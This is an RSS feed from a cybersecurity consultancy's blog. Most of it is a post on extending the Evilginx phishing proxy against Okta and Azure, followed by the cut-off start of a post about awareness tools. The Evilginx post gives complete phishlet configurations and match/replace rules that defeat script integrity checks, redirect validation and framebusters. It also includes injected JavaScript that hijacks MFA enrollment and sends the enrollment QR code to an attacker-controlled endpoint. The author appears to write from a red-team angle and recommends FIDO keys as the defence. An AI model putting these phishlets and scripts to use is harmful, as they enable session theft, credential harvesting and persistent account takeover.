<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>phishing - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/phishing-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/phishing-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 22 Jan 2026 13:27:26 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>phishing - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/phishing-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="(max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="(max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="(max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>2025 cybersecurity awareness solutions radar: how can I find the right solution for my needs?</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/02/2025-cybersecurity-awareness-solutions-radar-how-can-i-find-the-right-solution-for-my-needs/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/02/2025-cybersecurity-awareness-solutions-radar-how-can-i-find-the-right-solution-for-my-needs/#respond</comments>
		
		<dc:creator><![CDATA[Laetitia Reverseau]]></dc:creator>
		<pubDate>Wed, 05 Feb 2025 10:19:20 +0000</pubDate>
				<category><![CDATA[Cyberrisk Management & Strategy]]></category>
		<category><![CDATA[Focus]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[awareness]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[radar]]></category>
		<category><![CDATA[Wavestone]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=25316</guid>

					<description><![CDATA[<p>According to the 2024 Verizon report, the human factors is responsible for 68% of data breaches. Aware of this vulnerability, 90% of cyberattacks exploit human error, with phishing as the primary attack vector. In this context, it has become essential...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/02/2025-cybersecurity-awareness-solutions-radar-how-can-i-find-the-right-solution-for-my-needs/">2025 cybersecurity awareness solutions radar: how can I find the right solution for my needs?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">According to the 2024 Verizon report, the human factors is responsible for <strong>68% of data breaches</strong>. Aware of this vulnerability, <strong>90% of cyberattacks exploit human error</strong>, with phishing as the primary attack vector. In this context, it has become essential to raise awareness to cybersecurity risks in line with your organization&#8217;s needs.</p>
<p style="text-align: justify;">However, although <strong>companies recognize the importance of awareness content</strong>, <strong>very few manage to effectively deploy</strong> <strong>solutions</strong> adapted to their teams&#8217; specific needs. In fact, as much as awareness is a priority, choosing the most suitable tool remains a challenge. Companies are confronted to a diverse range of options, from standardized online training to interactive and personalized tools.</p>
<p> </p>
<h2 style="text-align: justify;"><strong>A radar of +100 cybersecurity awareness solutions</strong></h2>
<p style="text-align: justify;">In an environment where cybersecurity awareness is becoming a priority, the <strong>awareness solutions radar proves to be a strategic ally for companies</strong>. This tool provides a <strong>clear and structured view of available solutions</strong>, helping organizations <strong>identify the ones best suited to their needs.</strong></p>
